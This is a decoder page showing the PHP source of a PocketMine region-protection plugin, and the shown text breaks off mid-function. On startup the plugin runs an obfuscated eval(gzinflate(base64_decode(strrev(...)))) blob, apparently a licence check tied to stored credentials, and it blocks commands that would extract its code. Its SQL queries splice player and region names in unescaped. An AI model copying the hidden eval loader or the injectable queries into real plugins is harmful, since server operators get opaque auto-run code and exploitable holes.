Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php namespace WorldGuardian;use \pocketmine\event\block\BlockPlaceEvent;use \pocketmine\..
Decoded Output download
<?php namespace WorldGuardian;use \pocketmine\event\block\BlockPlaceEvent;use \pocketmine\event\Listener;use \pocketmine\command\CommandExecutor;use \pocketmine\event\block\BlockBreakEvent;use \pocketmine\event\player\PlayerInteractEvent;use pocketmine\command\CommandSender;use pocketmine\command\Command;use pocketmine\Player;use \pocketmine\plugin\PluginBase;use pocketmine\item\Item;use pocketmine\utils\Config;use pocketmine\event\entity\EntityDamageByEntityEvent;use pocketmine\event\entity\EntityDamageByEntity;use pocketmine\event\entity\EntityDamageEvent;use pocketmine\utils\TextFormat;use pocketmine\event\player\PlayerChatEvent;use pocketmine\event\player\PlayerDropItemEvent;use pocketmine\event\server\ServerCommandEvent;use pocketmine\event\player\PlayerCommandPreprocessEvent;class WorldGuardian extends PluginBase implements CommandExecutor, Listener{public $db, $pos1 = array(), $pos2 = array();public $config;public $xgroup;private $msgscfg;public function pct_msg($mes) {$mes = str_replace("&1", "1", $mes);$mes = str_replace("&2", "2", $mes);$mes = str_replace("&3", "3", $mes);$mes = str_replace("&4", "4", $mes);$mes = str_replace("&5", "5", $mes);$mes = str_replace("&6", "6", $mes);$mes = str_replace("&7", "7", $mes);$mes = str_replace("&8", "8", $mes);$mes = str_replace("&9", "9", $mes);$mes = str_replace("&a", "a", $mes);$mes = str_replace("&b", "b", $mes);$mes = str_replace("&c", "c", $mes);$mes = str_replace("&d", "d", $mes);$mes = str_replace("&e", "e", $mes);$mes = str_replace("&f", "f", $mes);return $mes;}public function msg($mes) {$mes = $this->msgscfg->get($mes);$mes = str_replace("&1", "1", $mes);$mes = str_replace("&2", "2", $mes);$mes = str_replace("&3", "3", $mes);$mes = str_replace("&4", "4", $mes);$mes = str_replace("&5", "5", $mes);$mes = str_replace("&6", "6", $mes);$mes = str_replace("&7", "7", $mes);$mes = str_replace("&8", "8", $mes);$mes = str_replace("&9", "9", $mes);$mes = str_replace("&a", "a", $mes);$mes = str_replace("&b", "b", $mes);$mes = str_replace("&c", "c", $mes);$mes = str_replace("&d", "d", $mes);$mes = str_replace("&e", "e", $mes);$mes = str_replace("&f", "f", $mes);return $mes;}public function onBlockBreak(BlockBreakEvent $event){$player = $event->getPlayer();$x = round($event->getBlock()->getX());$y = round($event->getBlock()->getY());$z = round($event->getBlock()->getZ());$level = $event->getBlock()->getLevel()->getName();$username = strtolower($event->getPlayer()->getName());if($event->getItem()->getID() == 271){$this->pos1[$username] = array($x,$y,$z,$level,);$msg_firstpos = $this->msg("msg_firstpos");$msg_firstpos = str_replace("{X}", $x, $msg_firstpos);$msg_firstpos = str_replace("{Y}", $y, $msg_firstpos);$msg_firstpos = str_replace("{Z}", $z, $msg_firstpos);$player->sendMessage($msg_firstpos);if(isset($this->pos1[$username]) && isset($this->pos2[$username]) && $this->pos1[$username][3] == $this->pos2[$username][3]){$pos1 = $this->pos1[$username];$pos2 = $this->pos2[$username];$min[0] = min($pos1[0], $pos2[0]);$max[0] = max($pos1[0], $pos2[0]);$min[1] = min($pos1[1], $pos2[1]);$max[1] = max($pos1[1], $pos2[1]);$min[2] = min($pos1[2], $pos2[2]);$max[2] = max($pos1[2], $pos2[2]);$count = $this->countBlocks($min[0], $min[1], $min[2], $max[0], $max[1], $max[2]);$msg_selectedblocks = $this->msg("msg_selectedblocks");$msg_selectedblocks = str_replace("{COUNT_BLOCKS}", $count, $msg_selectedblocks);$player->sendMessage($msg_selectedblocks);}$event->setCancelled(true);}else{$result = $this->db->query("SELECT * FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);$member = $this->db->query("SELECT COUNT(*) as count FROM MEMBERS WHERE Region = '".$result['Region']."' AND Name = '$username'")->fetchArray(SQLITE3_ASSOC);$flag = $this->db->query("SELECT COUNT(*) as count FROM FLAGS WHERE Region = '".$result['Region']."' AND Flag = 'build' AND Value = 'allow'")->fetchArray(SQLITE3_ASSOC);$chest_access_flag = $this->db->query("SELECT COUNT(*) as count FROM FLAGS WHERE Region = '".$result['Region']."' AND Flag = 'chest-access' AND Value = 'allow'")->fetchArray(SQLITE3_ASSOC);if($result !== false && $username != $result['Owner'] && ! $event->getPlayer()->isOp() && ! $member['count'] && ! $flag['count']){$event->getPlayer()->sendMessage($this->msg("msg_youcannotbreakblocks"));$event->setCancelled(true);}}}public function onEntityDamageByEntity(EntityDamageEvent $event){$entity = $event->getEntity();if($event instanceof EntityDamageByEntityEvent){$damager = $event->getDamager();$leveld = $damager->getLevel()->getName();$xd = round($damager->getX());$yd = round($damager->getY());$zd = round($damager->getZ());$resultd_check = $this->db->query("SELECT COUNT(*) as count FROM AREAS WHERE (Pos1X <= $xd AND $xd <= Pos2X) AND (Pos1Y <= $yd AND $yd <= Pos2Y) AND (Pos1Z <= $zd AND $zd <= Pos2Z) AND Level = '".$leveld."';")->fetchArray(SQLITE3_ASSOC);$resultd = $this->db->query("SELECT * FROM AREAS WHERE (Pos1X <= $xd AND $xd <= Pos2X) AND (Pos1Y <= $yd AND $yd <= Pos2Y) AND (Pos1Z <= $zd AND $zd <= Pos2Z) AND Level = '".$leveld."';")->fetchArray(SQLITE3_ASSOC);$pvpd_flag = $this->db->query("SELECT * FROM FLAGS WHERE Region = '".$resultd['Region']."' AND Flag = 'pvp'")->fetchArray(SQLITE3_ASSOC);$pvpd_flag_check = $this->db->query("SELECT COUNT(*) as count FROM FLAGS WHERE Region = '".$resultd['Region']."' AND Flag = 'pvp'")->fetchArray(SQLITE3_ASSOC);$levele = $entity->getLevel()->getName();$xe = round($entity->getX());$ye = round($entity->getY());$ze = round($entity->getZ());$resulte_check = $this->db->query("SELECT COUNT(*) as count FROM AREAS WHERE (Pos1X <= $xe AND $xe <= Pos2X) AND (Pos1Y <= $ye AND $ye <= Pos2Y) AND (Pos1Z <= $ze AND $ze <= Pos2Z) AND Level = '".$levele."';")->fetchArray(SQLITE3_ASSOC);$resulte = $this->db->query("SELECT * FROM AREAS WHERE (Pos1X <= $xe AND $xe <= Pos2X) AND (Pos1Y <= $ye AND $ye <= Pos2Y) AND (Pos1Z <= $ze AND $ze <= Pos2Z) AND Level = '".$levele."';")->fetchArray(SQLITE3_ASSOC);$pvpe_flag = $this->db->query("SELECT * FROM FLAGS WHERE Region = '".$resulte['Region']."' AND Flag = 'pvp'")->fetchArray(SQLITE3_ASSOC);$pvpe_flag_check = $this->db->query("SELECT COUNT(*) as count FROM FLAGS WHERE Region = '".$resulte['Region']."' AND Flag = 'pvp'")->fetchArray(SQLITE3_ASSOC);if($entity instanceof Player && $damager instanceof Player){if(($resultd_check['count'] && $pvpd_flag_check['count']) || ($resulte_check['count'] && $pvpe_flag_check['count'])){if($pvpd_flag['Value'] == "deny" && $pvpe_flag['Value'] != "deny"){$event->setCancelled(true);$damager->sendMessage($this->msg("msg_youareinanopvp"));}if($pvpd_flag['Value'] == "deny" && $pvpe_flag['Value'] == "deny"){$event->setCancelled(true);$damager->sendMessage($this->msg("msg_youareinanopvp"));}if($pvpd_flag['Value'] != "deny" && $pvpe_flag['Value'] == "deny"){$event->setCancelled(true);$damager->sendMessage($this->msg("msg_thatplayerisinanopvp"));}}}}}public function onEntityDamage(EntityDamageEvent $event){$entity = $event->getEntity();if($event instanceof EntityDamageEvent){if($entity instanceof Player){$x = round($entity->getX());$y = round($entity->getY());$z = round($entity->getZ());$level = $entity->getLevel()->getName();$player = $entity->getPlayer();$result = $this->db->query("SELECT * FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);$count = $this->db->query("SELECT COUNT(*) as count FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);$flag = $this->db->query("SELECT COUNT(*) as count FROM FLAGS WHERE Region = '".$result['Region']."' AND Flag = 'invincible' AND Value = 'allow'")->fetchArray(SQLITE3_ASSOC);if($count['count'] && $flag['count']){$event->setCancelled(true);}}}}public function onPlayerChat(PlayerChatEvent $event){$player = $event->getPlayer();$x = round($player->getX());$y = round($player->getY());$z = round($player->getZ());$level = $player->getLevel()->getName();$username = strtolower($player->getName());$result = $this->db->query("SELECT * FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);$count = $this->db->query("SELECT COUNT(*) as count FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);$flag = $this->db->query("SELECT COUNT(*) as count FROM FLAGS WHERE Region = '".$result['Region']."' AND Flag = 'send-chat' AND Value = 'deny'")->fetchArray(SQLITE3_ASSOC);if($count['count'] && $flag['count'] && ! $player->isOp()){$player->sendMessage($this->msg("msg_youcannotusechat"));$event->setCancelled(true);}}public function onPlayerDropItem(PlayerDropItemEvent $event){$player = $event->getPlayer();$x = round($player->getX());$y = round($player->getY());$z = round($player->getZ());$level = $player->getLevel()->getName();$username = strtolower($player->getName());$result = $this->db->query("SELECT * FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);$flag = $this->db->query("SELECT COUNT(*) as count FROM FLAGS WHERE Region = '".$result['Region']."' AND Flag = 'item-drop' AND Value = 'deny'")->fetchArray(SQLITE3_ASSOC);if($flag['count']){$player->sendMessage($this->msg("msg_youcannotdrop"));$event->setCancelled(true);}}public function onBlockPlace(BlockPlaceEvent $event){$x = round($event->getBlock()->getX());$y = round($event->getBlock()->getY());$z = round($event->getBlock()->getZ());$level = $event->getBlock()->getLevel()->getName();$username = strtolower($event->getPlayer()->getName());$result = $this->db->query("SELECT * FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);$member = $this->db->query("SELECT COUNT(*) as count FROM MEMBERS WHERE Region = '".$result['Region']."' AND Name = '$username'")->fetchArray(SQLITE3_ASSOC);$flag = $this->db->query("SELECT COUNT(*) as count FROM FLAGS WHERE Region = '".$result['Region']."' AND Flag = 'build' AND Value = 'allow'")->fetchArray(SQLITE3_ASSOC);if($result !== false and $username != $result['Owner'] and ! $event->getPlayer()->isOp() and ! $member['count'] and ! $flag['count']){$event->getPlayer()->sendMessage($this->msg("msg_youcannotplaceblocks"));$event->setCancelled(true);}}public function onInteract(PlayerInteractEvent $event){$player = $event->getPlayer();$block = $event->getBlock();$x = round($event->getBlock()->getX());$y = round($event->getBlock()->getY());$z = round($event->getBlock()->getZ());$level = $event->getBlock()->getLevel()->getName();$username = strtolower($event->getPlayer()->getName());if($event->getItem()->getID() == 271){$this->pos2[$username] = array($x,$y,$z,$level,);$msg_secondpos = $this->msg("msg_secondpos");$msg_secondpos = str_replace("{X}", $x, $msg_secondpos);$msg_secondpos = str_replace("{Y}", $y, $msg_secondpos);$msg_secondpos = str_replace("{Z}", $z, $msg_secondpos);$player->sendMessage($msg_secondpos);if(isset($this->pos1[$username]) && isset($this->pos2[$username]) && $this->pos1[$username][3] == $this->pos2[$username][3]){$pos1 = $this->pos1[$username];$pos2 = $this->pos2[$username];$min[0] = min($pos1[0], $pos2[0]);$max[0] = max($pos1[0], $pos2[0]);$min[1] = min($pos1[1], $pos2[1]);$max[1] = max($pos1[1], $pos2[1]);$min[2] = min($pos1[2], $pos2[2]);$max[2] = max($pos1[2], $pos2[2]);$count = $this->countBlocks($min[0], $min[1], $min[2], $max[0], $max[1], $max[2]);$msg_selectedblocks = $this->msg("msg_selectedblocks");$msg_selectedblocks = str_replace("{COUNT_BLOCKS}", $count, $msg_selectedblocks);$player->sendMessage($msg_selectedblocks);}$event->setCancelled(true);}if($event->getBlock()->getID() == 54){$result = $this->db->query("SELECT * FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);$count = $this->db->query("SELECT COUNT(*) as count FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);if($count['count']){$member = $this->db->query("SELECT COUNT(*) as count FROM MEMBERS WHERE Name = '$username' AND Region = '".$result['Region']."'")->fetchArray(SQLITE3_ASSOC);$flag = $this->db->query("SELECT COUNT(*) as count FROM FLAGS WHERE Flag = 'chest-access' AND Region = '".$result['Region']."' AND Value = 'allow'")->fetchArray(SQLITE3_ASSOC);if(! $member['count'] && ! $flag['count'] && $username != $result['Owner']){if(! $event->getPlayer()->isOp()){$event->getPlayer()->sendMessage($this->msg("msg_youcannotopenchests"));$event->setCancelled(true);}}}}if($event->getItem()->getID() == 290 || $event->getItem()->getID() == 291 || $event->getItem()->getID() == 292 || $event->getItem()->getID() == 293 || $event->getItem()->getID() == 294){$result = $this->db->query("SELECT * FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);$count = $this->db->query("SELECT COUNT(*) as count FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);if($count['count']){$member = $this->db->query("SELECT COUNT(*) as count FROM MEMBERS WHERE Name = '$username' AND Region = '".$result['Region']."'")->fetchArray(SQLITE3_ASSOC);if(! $member['count'] && $username != $result['Owner']){if(! $event->getPlayer()->isOp()){$event->getPlayer()->sendMessage($this->msg("msg_youcannottohilldirt"));$event->setCancelled(true);}}}}if($event->getBlock()->getID() == 64 || $event->getBlock()->getID() == 71 || $event->getBlock()->getID() == 324 || $event->getBlock()->getID() == 330){$result = $this->db->query("SELECT * FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);$count = $this->db->query("SELECT COUNT(*) as count FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);if($count['count']){$member = $this->db->query("SELECT COUNT(*) as count FROM MEMBERS WHERE Name = '$username' AND Region = '".$result['Region']."'")->fetchArray(SQLITE3_ASSOC);$flag = $this->db->query("SELECT COUNT(*) as count FROM FLAGS WHERE Flag = 'use' AND Region = '".$result['Region']."' AND Value = 'allow'")->fetchArray(SQLITE3_ASSOC);if(! $member['count'] && ! $flag['count'] && $username != $result['Owner']){if(! $event->getPlayer()->isOp()){$event->getPlayer()->sendMessage($this->msg("msg_youcannotopendoors"));$event->setCancelled(true);}}}}if($event->getBlock()->getID() == 61 || $event->getBlock()->getID() == 62){$result = $this->db->query("SELECT * FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);$count = $this->db->query("SELECT COUNT(*) as count FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);if($count['count']){$member = $this->db->query("SELECT COUNT(*) as count FROM MEMBERS WHERE Name = '$username' AND Region = '".$result['Region']."'")->fetchArray(SQLITE3_ASSOC);$flag = $this->db->query("SELECT COUNT(*) as count FROM FLAGS WHERE Flag = 'use' AND Region = '".$result['Region']."' AND Value = 'allow'")->fetchArray(SQLITE3_ASSOC);if(! $member['count'] && ! $flag['count'] && $username != $result['Owner']){if(! $event->getPlayer()->isOp()){$event->getPlayer()->sendMessage($this->msg("msg_youcannotusefurnaces"));$event->setCancelled(true);}}}}if($event->getItem()->getID() == 280){$result = $this->db->query("SELECT * FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);$count = $this->db->query("SELECT COUNT(*) as count FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);if($count['count']){$count_blocks = $this->countBlocks($result['Pos1X'], $result['Pos1Y'], $result['Pos1Z'], $result['Pos2X'], $result['Pos2Y'], $result['Pos2Z']);$flag = $this->db->query("SELECT COUNT(*) as count FROM FLAGS WHERE Region = '".$result['Region']."' AND Flag = 'info' AND Value = 'deny'")->fetchArray(SQLITE3_ASSOC);if(! $flag['count'] || $username == $result['Owner'] || $player->isOp()){$msg_rginfo = $this->msg("msg_rginfo");$msg_rginfo = str_replace("{REGION}", $result['Region'], $msg_rginfo);$msg_rginfo = str_replace("{OWNER}", $result['Owner'], $msg_rginfo);$msg_rginfo = str_replace("{COUNT_BLOCKS}", $count_blocks, $msg_rginfo);$msg_rginfo = str_replace("{POS1X}", $result['Pos1X'], $msg_rginfo);$msg_rginfo = str_replace("{POS1Y}", $result['Pos1Y'], $msg_rginfo);$msg_rginfo = str_replace("{POS1Z}", $result['Pos1Z'], $msg_rginfo);$msg_rginfo = str_replace("{POS2X}", $result['Pos2X'], $msg_rginfo);$msg_rginfo = str_replace("{POS2Y}", $result['Pos2Y'], $msg_rginfo);$msg_rginfo = str_replace("{POS2Z}", $result['Pos2Z'], $msg_rginfo);$event->getPlayer()->sendMessage($msg_rginfo);}else{$msg_rginfohidden = $this->msg("msg_rginfohidden");$event->getPlayer()->sendMessage($msg_rginfohidden);}}else{$msg_noregionshere = $this->msg("msg_noregionshere");$event->getPlayer()->sendMessage($msg_noregionshere);}}}public function onEnable(){@mkdir($this->getDataFolder());$dbf = fopen($this->getDataFolder(). "regions.sqlite3", 'a');fwrite($dbf, "");fclose($dbf);if(! file_exists($this->getDataFolder()."pct.yml")) {$pctcntnt = "################################\n# PCT-GAMES #\n################################\n\nusername: 'name'\npassword: 'pass'\n\n################################\n# MESSAGES #\n################################\n\nprefix: '&8[&7PCT-GAMES&8]&b '\nmsg_connecting: '&e PCT-Games.Ru. ...'\nmsg_fail: '&c PCT-Games.Ru.'\nmsg_bought: '&2 WorldGuardian. ! :)'\nmsg_notbought: '&4 WorldGuardian PCT-Games.Ru, ! ...'\nmsg_banned: '&4 PCT-Games.Ru ! ...'\nmsg_auth: '&4 PCT-Games.Ru! / . ''pct.yml'' , name pass? ...'\nmsg_error: '&4 ! ...'\nmsg_response: '&4 PCT-Games.Ru! ...'";$file = fopen($this->getDataFolder()."pct.yml", 'a');fwrite($file, $pctcntnt);fclose($file);$pctcntnt = new \pocketmine\Utils\Config($this->getDataFolder()."pct.yml", Config::YAML);} else {$pctcntnt = new \pocketmine\Utils\Config($this->getDataFolder()."pct.yml", Config::YAML);}eval(gzinflate(base64_decode(strrev('==AA/SjqP1rOcSox+bPrySw/QwRO5ByFfw/1KGft7rbG1HQFDbzrC5EcTiDjAmlUniYclCsdlye/WUnpO5CCBF7Ux+H/8ouTe2rep+kcjJfTOXykdLzcCCRa3Fdj3c6Patl/hh5LHa0PIl9ZYOI3ZPFZvZOwa5LOHn6kx/4kdA/H/CUF/kAHKufJaVamCfb0P4cfQQ+1IzSGCKnTllxslfdhUOv2XexZMrfPyXexabKlqMHWrMEzc4uP75xUcmzXn33q1DylRLAVOTLw7ZCfKOzXbDkIk36uzJfT2sGvLaFkcSUsyv1Ic9QdDPs1dx6j6oP97CX+JI9cVD90Pb0uHO4oj16yT+y1w6Orv/YG6Cd9Bf54Y3qWLbaqAB6d2gm0h9WqnA2TOoALwECnWfabVji0EjxjWrDExZqsx8Rdq5z1ZpJ+jjE3ALUikdmqOYnGKXMlnQuskqsBTZTVZ8kMam98y+3IGtqsR6WYu2KfRrytUZ0XIKaY64P4OPqxNghf/gqxiAPl0gblR1ve3luuY3d4bP6D6qUrtNkQ8AYkbcaKLDw3MB6JKgJv0JSFQrMWLg9wg7Ac46Czf+hcVGB83R1mTRxyyEk3eXNpoHEL6x1mGb8lBpghVECBDojCPmM3CAsVEiV71va7DWZuJS/8B0YgMa+yOc1Tc0rY8wI9Z2a0Dl7GXCTHtaGGANP33ix0g4XiZkUtmtcU0nlxUBvbBISV+h0b3eo5aghTA3TtqGjSRmGK0KTG0yWicFpZnN7s54c7gwsrKoB0auV5zW3d/GPT2d0dV5NVu0YLiVTI0jD4sDhpdWbxYTqPSGlvEAZYW8B9v0HEAttabfV7'))));if(file_exists($this->getDataFolder()."config.yml")) {$this->config = new Config($this->getDataFolder()."config.yml", Config::YAML);} else {if($this->getServer()->getPluginManager()->getPlugin('xPermissions')) {$perm_plugin = "xPermissions";} elseif($this->getServer()->getPluginManager()->getPlugin('PurePerms')) {$perm_plugin = "PurePerms";} else {$perm_plugin = false;}if($perm_plugin == "xPermissions" || $perm_plugin == "false") {$default_group = 'Default';} elseif($perm_plugin == "PurePerms") {$default_group = 'Guest';}$enable_permission_plugin_support = true;if($perm_plugin == false) {$enable_permission_plugin_support = false;}$this->config = new Config($this->getDataFolder()."config.yml", Config::YAML, array('enable_permission_plugin_support' => $enable_permission_plugin_support,'permission_plugin' => $perm_plugin,'default_group' => $default_group,'use_world_parameter' => false));}if(file_exists($this->getDataFolder()."messages.yml")) {$this->msgscfg = new Config($this->getDataFolder()."messages.yml", Config::YAML);} else {$file = fopen($this->getDataFolder()."messages.yml", 'a');fwrite($file, "msg_addedtonextregions: \"&e () ():\"\nmsg_addedtonextregions_tpl: \"&7{REGION}\"\nmsg_nooneaddedtoregion: \"&7 .\"\nmsg_playerwasaddedtoregion: \"&e{MEMBER} .\"\nmsg_playeralreadyaddedtoregion: \"&c{MEMBER} .\"\n\nmsg_regiondoesnotexists: \"&c {REGION} .\"\n\nmsg_addmemberusage: \": /addmember <> <>\"\nmsg_playerwasremovedfromregion: \"&e{MEMBER} .\"\nmsg_playerdoesnotconsistinthisregion: \"&c{MEMBER} .\"\nmsg_selectplayerwhowanttokick: \"&c , !\"\nmsg_flaghasbeenset: \"&e '{VALUE}' '{FLAG}'\"\nmsg_flaginvalidvalue: \"&c 'allow' () 'deny' ().\"\nmsg_flags: \"&e : pvp, build, chest-access, use, info, bone-meal, bucket, lighter, send-chat, item-drop\"\nmsg_adminflags: \"&e : invincible\"\nmsg_youcannotusethisflag: \"&c .\"\nmsg_flagusage: \": /flag <> <> <>\"\nmsg_youleftregion: \"&e {REGION}.\"\nmsg_youdonotconsistsinthisregion: \"&c {REGION}.\"\nmsg_selectregionfromwhichyouwanttoleave: \"&c , !\"\nmsg_wandusage: \"&5 ( ): . : .\"\nmsg_rginfo: \"&8===== &7{REGION} &8=====\\n&9: &e{OWNER}\\n&9 : &e{COUNT_BLOCKS}\\n&9 : &e{POS1X} {POS1Y} {POS1Z}\\n&9 : &e{POS2X} {POS2Y} {POS2Z}\"\nmsg_rginfohidden: \"&c .\"\nmsg_noregionshere: \"&7 .\"\n\nmsg_rgmembers: \"&8=== &7{REGION} &8===\"\nmsg_rgmembers_tpl: \"&5{MEMBER}\"\nmsg_nomembers: \"&7 .\"\n\nmsg_rgflags: \"&8==== &7{REGION} &8====\"\nmsg_rgflags_tpl: \"&5{FLAG}: &9{VALUE}\"\nmsg_noflags: \"&7 .\"\n\nmsg_firstpos: \"&d ({X}, {Y}, {Z}).\"\nmsg_secondpos: \"&d ({X}, {Y}, {Z}).\"\nmsg_selectedblocks: \"&5 {COUNT_BLOCKS} .\"\n\nmsg_rghelp: \"&9/rg info&e , .\\n&9/rg info <>&e .\\n&9/rg <> flags&e .\\n&9/rg list&e .\\n&9/rg <> members&e , .\\n&9/addmember <> <>&e \\n&9/removemember <> <>&e .\\n&9/leaveregion <>&e \\n&9/member&e , .\\n&9/flag <> <> <allow/deny/none>&e .\\n&9/rg pos1&e &9 pos2&e ( ).\\n&9/claim <>&e .\\n&9/unclaim <>&e .\"\n\nmsg_claimselectarea: \"&c !\"\nmsg_claimselectedpositionsindifferentworlds: \"&c !\"\nmsg_claimregionoverlapsotherregion: \"&c {REGION}.\"\nmsg_claimmaxblocks: \"&c {MAX_BLOCKS}.\\n&c {SELECTED_BLOCKS}.\"\nmsg_claimmaxregions: \"&c {MAX_REGIONS} .\\n&c {CREATED_REGIONS} .\"\nmsg_claimregionalreadyexists: \"&c {REGION} !\"\nmsg_claimincorrect: \"&c !\\n&c , .\"\nmsg_claimsuccess: \"&e {REGION}!\"\n\nmsg_unclaimusage: \": /unclaim <>\"\nmsg_unclaimsuccess: \"&e {REGION}.\"\n\nmsg_youcannotbreakblocks: \"&4 .\"\nmsg_youcannotplaceblocks: \"&4 .\"\nmsg_youareinanopvp: \"&4 PvP.\"\nmsg_thatplayerisinanopvp: \"&4 PvP.\"\nmsg_youcannotusechat: \"&4 .\"\nmsg_youcannotdrop: \"&4 .\"\nmsg_youcannotopenchests: \"&4 .\"\nmsg_youcannottohilldirt: \"&4 .\"\nmsg_youcannotopendoors: \"&4 .\"\nmsg_youcannotusefurnaces: \"&4 .\"\nmsg_youcannotusebonemeal: \"&4 .\"\nmsg_youcannotusebucket: \"&4 .\"\nmsg_youcannotuselighter: \"&4 .\"\n\nmsg_rglist: \"&e:\"\nmsg_rglist_tpl: \" * {REGION}\"");fclose($file);$this->msgscfg = new Config($this->getDataFolder()."messages.yml", Config::YAML);}if(file_exists($this->getDataFolder()."xgroups.yml")) {$this->xgroup = new Config($this->getDataFolder()."xgroups.yml", Config::YAML);} else {if($this->getServer()->getPluginManager()->getPlugin('xPermissions')) {$perm_plugin = "xPermissions";} elseif($this->getServer()->getPluginManager()->getPlugin('PurePerms')) {$perm_plugin = "PurePerms";} else {$perm_plugin = false;}if($perm_plugin == "xPermissions" || $perm_plugin == "false") {$default_group = 'Default';} elseif($perm_plugin == "PurePerms") {$default_group = 'Guest';}$this->xgroup = new Config($this->getDataFolder()."xgroups.yml", Config::YAML,array($default_group => array('max_regions_num' => 2,'max_region_count_blocks' => 2000),'VIP' => array('max_regions_num' => 5,'max_region_count_blocks' => 5000),'Creative' => array('max_regions_num' => 8,'max_region_count_blocks' => 15000)));}$this->config->save();$this->xgroup->save();$this->getServer()->getPluginManager()->registerEvents($this, $this);}public function getPlayerGroup($username, $params = []) {if($this->config->get("permission_plugin") == "xPermissions") {$xuser = $this->getServer()->getPluginManager()->getPlugin("xPermissions")->getUser($username);$user_group = $xuser->getUserGroup($level)->getName();return $user_group;} elseif($this->config->get("permission_plugin") == "PurePerms") {$pureperms = $this->getServer()->getPluginManager()->getPlugin("PurePerms");$pgroup = $pureperms->getUserDataMgr()->getGroup($this->getServer()->getOfflinePlayer($username), $params['levelName'])->getName();return $pgroup;} else {return $this->config->get("default_group");}}public function onServerCommandEvent(ServerCommandEvent $event) {$command = strtolower($event->getCommand());$reg = "/extractplugin\s{1,}worldguardian/";if(preg_match($reg, strtolower($command))) {$event->setCancelled();}}public function onPlayerCommand(PlayerCommandPreprocessEvent $event) {$command = strtolower($event->getMessage());$reg = "/\/extractplugin\s{1,}worldguardian/";if($command{0} == "/" && preg_match($reg, $command)) {$event->setCancelled();}}public function onTouch(PlayerInteractEvent $event){$player = $event->getPlayer();$block = $event->getBlock();$x = round($event->getBlock()->getX());$y = round($event->getBlock()->getY());$z = round($event->getBlock()->getZ());$level = $event->getBlock()->getLevel()->getName();$username = strtolower($event->getPlayer()->getName());if($event->getItem()->getID() == 351 && $event->getItem()->getDamage() == 15){$result = $this->db->query("SELECT * FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);$count = $this->db->query("SELECT COUNT(*) as count FROM AREAS WHERE (Pos1X <= $x AND $x <= Pos2X) AND (Pos1Y <= $y AND $y <= Pos2Y) AND (Pos1Z <= $z AND $z <= Pos2Z) AND Level = '".$level."';")->fetchArray(SQLITE3_ASSOC);if($count['count']){$member = $this->db->query("SELECT COUNT(*) as count FROM MEMBERS WHERE Name = '$username' AND Region = '".$result['Region']."'")->fetchArray(SQLITE3_ASSOC);$flag = $this->db->query("SELECT COUNT(*) as count FROM FLAGS WHERE Flag = 'bone-meal' AND Region = 